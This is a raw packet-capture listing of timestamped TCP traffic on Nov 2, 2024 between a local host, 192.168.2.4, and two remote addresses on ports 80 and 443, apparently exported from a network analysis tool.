Nov 2, 2024 07:16:16.943203926 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.943209887 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.943217039 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.943222046 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.943228006 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.943236113 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.943239927 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.943250895 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.943263054 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.943264961 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.943274975 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.943284035 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.943295956 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.943332911 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.943634033 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.943682909 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.943758011 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.943768978 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.943778992 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.943790913 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.943802118 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.943808079 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.943813086 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.943826914 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.943835974 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.943835974 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.943855047 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.943885088 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.056381941 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.056399107 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.056415081 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.056426048 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.056432962 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.056437016 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.056443930 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.056449890 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.056461096 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.056469917 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.056473017 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.056487083 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.056494951 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.056499958 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.056504965 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.056512117 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.056524038 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.056525946 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.056538105 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.056545973 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.056557894 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.056560993 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.056572914 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.056575060 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.056586981 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.056600094 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.056603909 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.056611061 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.056616068 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.056624889 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.056629896 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.056642056 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.056646109 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.056653023 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.056655884 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.056663036 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.056672096 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.056674957 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.056684971 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.056684971 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.056696892 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.056705952 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.056713104 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.056724072 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.056731939 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.056735039 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.056740999 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.056766033 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.056797981 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.056808949 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.056818008 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.056830883 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.056855917 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.056862116 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.056871891 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.056884050 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.056902885 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.056907892 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.056917906 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.056920052 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.056931019 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.056940079 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.056946993 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.056952000 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.056957960 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.056968927 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.056977987 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.056982040 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.057003975 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.057037115 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.057060957 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.057071924 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.057080984 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.057092905 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.057102919 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.057107925 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.057121038 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.057138920 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.057138920 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.057148933 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.057159901 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.057162046 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.057178974 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.057204962 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.057208061 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.057219028 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.057229042 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.057245970 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.057249069 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.057256937 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.057266951 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.057271004 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.057286024 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.057287931 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.057302952 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.057303905 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.057315111 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.057328939 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.057332993 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.057338953 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.057359934 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.057369947 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.057398081 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.057436943 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.057450056 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.057454109 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.057475090 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.057487011 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.057507992 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.057518959 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.057537079 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.057547092 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.057560921 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.057560921 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.057564974 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.057578087 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.057586908 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.057588100 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.057607889 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.057635069 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.057662964 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.057723999 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.057734013 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.057766914 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.057784081 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.057795048 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.057805061 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.057830095 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.057848930 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.057998896 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.058010101 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.058021069 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.058032036 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.058042049 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.058051109 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.058053970 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.058064938 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.058079004 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.058111906 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.058227062 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.058237076 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:17.058274984 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:17.128041029 CET	443	63839	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.128477097 CET	63839	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.128496885 CET	443	63839	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.128937960 CET	63839	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.128942966 CET	443	63839	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.259921074 CET	443	63839	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.260216951 CET	443	63839	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.260291100 CET	63839	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.260328054 CET	63839	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.260349989 CET	443	63839	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.260361910 CET	63839	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.260366917 CET	443	63839	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.263256073 CET	63844	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.263331890 CET	443	63844	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.263566971 CET	63844	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.263714075 CET	63844	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.263746977 CET	443	63844	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.394139051 CET	443	63841	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.394925117 CET	63841	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.394925117 CET	63841	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.394962072 CET	443	63841	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.394984007 CET	443	63841	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.421509981 CET	443	63840	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.422616005 CET	63840	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.422631979 CET	443	63840	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.425149918 CET	63840	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.425156116 CET	443	63840	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.448807001 CET	443	63843	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.449282885 CET	63843	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.449300051 CET	443	63843	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.450155973 CET	63843	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.450160980 CET	443	63843	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.452614069 CET	443	63842	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.452958107 CET	63842	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.452975988 CET	443	63842	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.453543901 CET	63842	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.453551054 CET	443	63842	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.523890972 CET	443	63841	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.524019957 CET	443	63841	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.524291992 CET	63841	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.524291992 CET	63841	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.524319887 CET	63841	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.524341106 CET	443	63841	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.526845932 CET	63845	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.526927948 CET	443	63845	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.527458906 CET	63845	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.529460907 CET	63845	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.529500008 CET	443	63845	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.558232069 CET	443	63840	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.558355093 CET	443	63840	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.559242964 CET	63840	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.581338882 CET	443	63843	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.581541061 CET	443	63843	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.582160950 CET	63843	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.583475113 CET	63840	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.583498955 CET	443	63840	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.583636999 CET	63840	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.583645105 CET	443	63840	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.585216045 CET	63843	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.585216045 CET	63843	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.585228920 CET	443	63843	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.585238934 CET	443	63843	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.587342978 CET	443	63842	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.587423086 CET	443	63842	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.587457895 CET	443	63842	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.587532997 CET	63842	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.587532997 CET	63842	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.589857101 CET	63842	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.589864016 CET	443	63842	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.589894056 CET	63842	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.589899063 CET	443	63842	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.592751980 CET	63847	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.592756033 CET	63846	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.592813015 CET	443	63847	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.592813015 CET	443	63846	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.592886925 CET	63846	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.592890978 CET	63847	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.593280077 CET	63847	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.593281984 CET	63846	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.593311071 CET	443	63846	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.593313932 CET	443	63847	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.593549967 CET	63848	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.593584061 CET	443	63848	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:17.593676090 CET	63848	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.593805075 CET	63848	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:17.593821049 CET	443	63848	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.029206991 CET	443	63844	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.038934946 CET	63844	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.038934946 CET	63844	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.038992882 CET	443	63844	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.039030075 CET	443	63844	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.171542883 CET	443	63844	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.171576023 CET	443	63844	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.171694040 CET	443	63844	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.171701908 CET	63844	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.174160004 CET	63844	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.214730024 CET	63844	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.214730024 CET	63844	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.214754105 CET	443	63844	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.214766026 CET	443	63844	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.292782068 CET	443	63845	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.342190981 CET	63845	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.344651937 CET	443	63846	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.353312016 CET	443	63847	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.358844995 CET	443	63848	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.379410982 CET	63848	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.379437923 CET	443	63848	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.381860018 CET	63848	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.381866932 CET	443	63848	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.385754108 CET	63845	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.385801077 CET	443	63845	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.386282921 CET	63845	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.386296988 CET	443	63845	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.386732101 CET	63846	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.386789083 CET	443	63846	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.387075901 CET	63846	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.387089968 CET	443	63846	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.387269020 CET	63847	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.387286901 CET	443	63847	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.387583971 CET	63847	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.387594938 CET	443	63847	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.390315056 CET	63849	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.390346050 CET	443	63849	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.390404940 CET	63849	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.390547991 CET	63849	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.390554905 CET	443	63849	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.513715029 CET	443	63848	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.513741970 CET	443	63848	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.513772011 CET	443	63848	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.513798952 CET	63848	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.513817072 CET	63848	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.515225887 CET	443	63846	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.515412092 CET	443	63846	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.515472889 CET	63846	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.516486883 CET	443	63845	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.516599894 CET	443	63845	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.516649008 CET	63845	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.524272919 CET	443	63847	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.524565935 CET	443	63847	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.524619102 CET	63847	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.524645090 CET	443	63847	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.524673939 CET	443	63847	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.524817944 CET	63847	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.556925058 CET	63848	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.556925058 CET	63848	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.556948900 CET	443	63848	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.556958914 CET	443	63848	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.558114052 CET	63847	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.558114052 CET	63847	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.558151007 CET	443	63847	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.558180094 CET	443	63847	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.558731079 CET	63846	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.558779001 CET	443	63846	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.558826923 CET	63846	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.558844090 CET	443	63846	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.559454918 CET	63845	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.559473038 CET	443	63845	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.559495926 CET	63845	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.559509039 CET	443	63845	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.567444086 CET	63850	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.567466974 CET	443	63850	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.567542076 CET	63850	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.598673105 CET	63851	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.598701000 CET	443	63851	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.598764896 CET	63851	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.599054098 CET	63850	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.599069118 CET	443	63850	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.599811077 CET	63852	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:18.599842072 CET	443	63852	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:18.599899054 CET	63852	443	192.168.2.4	13.107.246.45
